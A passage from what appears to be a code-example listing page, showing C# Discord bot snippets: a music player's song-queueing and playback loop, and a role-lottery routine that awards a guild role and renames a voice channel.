                            try { lastFinishedMessage = await textCh.SendMessageAsync($"🎵`Finished`{song.PrettyName}").ConfigureAwait(false); } catch { }
                            if (mp.Autoplay && mp.Playlist.Count == 0 && song.SongInfo.Provider == "YouTube")
                            {
                                await QueueSong(queuer.Guild.GetCurrentUser(), textCh, voiceCh, (await NadekoBot.Google.GetRelatedVideosAsync(song.SongInfo.Query, 4)).ToList().Shuffle().FirstOrDefault(), silent, musicType).ConfigureAwait(false);
                            }
                        }
                        catch { }
                    }
                };
                mp.OnStarted += async (s, song) =>
                {
                    if (song.PrintStatusMessage)
                    {
                        var sender = s as MusicPlayer;
                        if (sender == null)
                            return;

                            var msgTxt = $"🎵`Playing`{song.PrettyName} `Vol: {(int)(sender.Volume * 100)}%`";
                        try { playingMessage = await textCh.SendMessageAsync(msgTxt).ConfigureAwait(false); } catch { }
                    }
                };
                return mp;
            });
            Song resolvedSong;
            try
            {
                musicPlayer.ThrowIfQueueFull();
                resolvedSong = await Song.ResolveSong(query, musicType).ConfigureAwait(false);

                if (resolvedSong == null)
                    throw new SongNotFoundException();

                musicPlayer.AddSong(resolvedSong, queuer.Username);
            }
            catch (PlaylistFullException)
            {
                try { await textCh.SendMessageAsync($"🎵 `Queue is full at {musicPlayer.MaxQueueSize}/{musicPlayer.MaxQueueSize}.` "); } catch { }
                throw;
            }
            if (!silent)
            {
                try
                {
                    var queuedMessage = await textCh.SendMessageAsync($"🎵`Queued`{resolvedSong.PrettyName} **at** `#{musicPlayer.Playlist.Count + 1}`").ConfigureAwait(false);
                    var t = Task.Run(async () =>
                    {
                        try
                        {
                            await Task.Delay(10000).ConfigureAwait(false);
                        
                            await queuedMessage.DeleteAsync().ConfigureAwait(false);
                        }
                        catch { }
                    }).ConfigureAwait(false);
                }
                catch { } // if queued message sending fails, don't attempt to delete it
            }
        }
Example #31
0
        public async Task RoleLottery()
        {
            IGuild       guild    = client.GetGuild(spiritBearGuildID) as IGuild;       // Spirit Bear Guild
            ITextChannel announce = await guild.GetSystemChannelAsync();                // Announcement channel

            IVoiceChannel voice = await guild.GetVoiceChannelAsync(434092857415041024); // The winner's voice channel

            IRole everyone        = guild.EveryoneRole;                                 // The everyone role
            IRole participantRole = guild.GetRole(411281455331672064);                  // The lottery role
            IRole winningRole     = guild.GetRole(335456437352529921);                  // The winning role
            // All users in the guild
            var users = await guild.GetUsersAsync();

            // All possible participants
            IEnumerable <IGuildUser> participants = users.Where(user => user.RoleIds.Any(roleID => roleID == participantRole.Id));
            // Everyone who currently has the winning role
            IEnumerable <IGuildUser> currentWinners = users.Where(user => user.RoleIds.Any(roleID => roleID == winningRole.Id));

            // Removes any current winner from the participants list
            participants.ToList().RemoveAll(participant => currentWinners.Any(currentWinner => participant == currentWinner));

            string msg = "Lottery:\n";

            // Adds who the role was removed from to the message
            msg += $"Took away {string.Join(", ", currentWinners.Select(user => user.Username))}\'s {winningRole.Name}\n";

            // Removes the winning role from anyone who currently has it
            foreach (var user in currentWinners)
            {
                await user.RemoveRoleAsync(winningRole, new RequestOptions { AuditLogReason = $"Previous {winningRole.Name}" });
            }

            // Randomly selects the winner
            IGuildUser winner = participants.ElementAt(rand.Next(0, participants.Count()));

            // Gives the winner their role
            await winner.AddRoleAsync(winningRole, new RequestOptions { AuditLogReason = $"The new {winningRole.Name} is in town" });

            // Edits the winner's voice channel name
            await voice.ModifyAsync((VoiceChannelProperties prop) =>
            {
                prop.Name    = $"{winner.Username}\'s Executive Suite";
                prop.Bitrate = 64000;
            }, new RequestOptions { AuditLogReason = "Reset and rename" });

            // Resets permissions to their 'default' values
            await voice.SyncPermissionsAsync(new RequestOptions { AuditLogReason = "Reset permissions" });

            // Edits everyone role permission overwrites
            await voice.AddPermissionOverwriteAsync(everyone,
                                                    new OverwritePermissions(manageChannel : PermValue.Deny, manageRoles : PermValue.Deny, connect : PermValue.Deny, moveMembers : PermValue.Deny),
                                                    new RequestOptions { AuditLogReason = "Reset permissions" });

            // Edits winner role permission overwrites
            await voice.AddPermissionOverwriteAsync(winningRole,
                                                    new OverwritePermissions(connect : PermValue.Allow, moveMembers : PermValue.Allow, manageRoles : PermValue.Allow),
                                                    new RequestOptions { AuditLogReason = "Reset permssions" });

            msg += $"Participants: {string.Join(", ", participants.Select(participant => participant.Username))}\n";
            msg += $"This week's winner is: {winner.Mention}!";

            await(announce as ISocketMessageChannel).SendMessageAsync(msg);
        }
Example #32
0
        public MusicPlayer(IVoiceChannel startingVoiceChannel, float? defaultVolume)
        {
            if (startingVoiceChannel == null)
                throw new ArgumentNullException(nameof(startingVoiceChannel));
            Volume = defaultVolume ?? 1.0f;

            PlaybackVoiceChannel = startingVoiceChannel;
            SongCancelSource = new CancellationTokenSource();
            cancelToken = SongCancelSource.Token;

            Task.Run(async () =>
            {
                try
                {
                    while (!Destroyed)
                    {
                        try
                        {
                            Action action;
                            if (actionQueue.TryDequeue(out action))
                            {
                                action();
                            }
                        }
                        finally
                        {
                            await Task.Delay(100).ConfigureAwait(false);
                        }
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Action queue crashed");
                    Console.WriteLine(ex);
                }
            }).ConfigureAwait(false);

            var t = new Thread(new ThreadStart(async () =>
            {
                while (!Destroyed)
                {
                    try
                    {
                        if (audioClient?.ConnectionState != ConnectionState.Connected)
                        {
                            if (audioClient != null)
                                try { await audioClient.DisconnectAsync().ConfigureAwait(false); } catch { }
                            audioClient = await PlaybackVoiceChannel.ConnectAsync().ConfigureAwait(false);
                            continue;
                        }

                        CurrentSong = GetNextSong();
                        RemoveSongAt(0);

                        if (CurrentSong == null)
                            continue;


                        OnStarted(this, CurrentSong);
                        await CurrentSong.Play(audioClient, cancelToken);

                        OnCompleted(this, CurrentSong);

                        if (RepeatPlaylist)
                            AddSong(CurrentSong, CurrentSong.QueuerName);

                        if (RepeatSong)
                            AddSong(CurrentSong, 0);

                    }
                    catch (OperationCanceledException) { }
                    catch (Exception ex)
                    {
                        Console.WriteLine("Music thread almost crashed.");
                        Console.WriteLine(ex);
                    }
                    finally
                    {
                        if (!cancelToken.IsCancellationRequested)
                        {
                            SongCancelSource.Cancel();
                        }
                        SongCancelSource = new CancellationTokenSource();
                        cancelToken = SongCancelSource.Token;
                        CurrentSong = null;
                        await Task.Delay(300).ConfigureAwait(false);
                    }
                }
            }));

            t.Start();
        }
Example #33
0
        public MusicPlayer(IVoiceChannel startingVoiceChannel, float?defaultVolume)
        {
            if (startingVoiceChannel == null)
            {
                throw new ArgumentNullException(nameof(startingVoiceChannel));
            }
            Volume = defaultVolume ?? 1.0f;

            PlaybackVoiceChannel = startingVoiceChannel;
            SongCancelSource     = new CancellationTokenSource();
            cancelToken          = SongCancelSource.Token;

            Task.Run(async() =>
            {
                try
                {
                    while (!Destroyed)
                    {
                        try
                        {
                            Action action;
                            if (actionQueue.TryDequeue(out action))
                            {
                                action();
                            }
                        }
                        finally
                        {
                            await Task.Delay(100).ConfigureAwait(false);
                        }
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Action queue crashed");
                    Console.WriteLine(ex);
                }
            }).ConfigureAwait(false);

            var t = new Thread(new ThreadStart(async() =>
            {
                while (!Destroyed)
                {
                    try
                    {
                        if (audioClient?.ConnectionState != ConnectionState.Connected)
                        {
                            if (audioClient != null)
                            {
                                try { await audioClient.DisconnectAsync().ConfigureAwait(false); } catch { }
                            }
                            audioClient = await PlaybackVoiceChannel.ConnectAsync().ConfigureAwait(false);
                            continue;
                        }

                        CurrentSong = GetNextSong();

                        if (CurrentSong == null)
                        {
                            continue;
                        }

                        var index = playlist.IndexOf(CurrentSong);
                        if (index != -1)
                        {
                            RemoveSongAt(index);
                        }

                        OnStarted(this, CurrentSong);
                        await CurrentSong.Play(audioClient, cancelToken);

                        OnCompleted(this, CurrentSong);

                        if (RepeatPlaylist)
                        {
                            AddSong(CurrentSong, CurrentSong.QueuerName);
                        }

                        if (RepeatSong)
                        {
                            AddSong(CurrentSong, 0);
                        }
                    }
                    catch (OperationCanceledException) { }
                    catch (Exception ex)
                    {
                        Console.WriteLine("Music thread almost crashed.");
                        Console.WriteLine(ex);
                        await Task.Delay(3000).ConfigureAwait(false);
                    }
                    finally
                    {
                        if (!cancelToken.IsCancellationRequested)
                        {
                            SongCancelSource.Cancel();
                        }
                        SongCancelSource = new CancellationTokenSource();
                        cancelToken      = SongCancelSource.Token;
                        CurrentSong      = null;
                        await Task.Delay(300).ConfigureAwait(false);
                    }
                }
            }));

            t.Start();
        }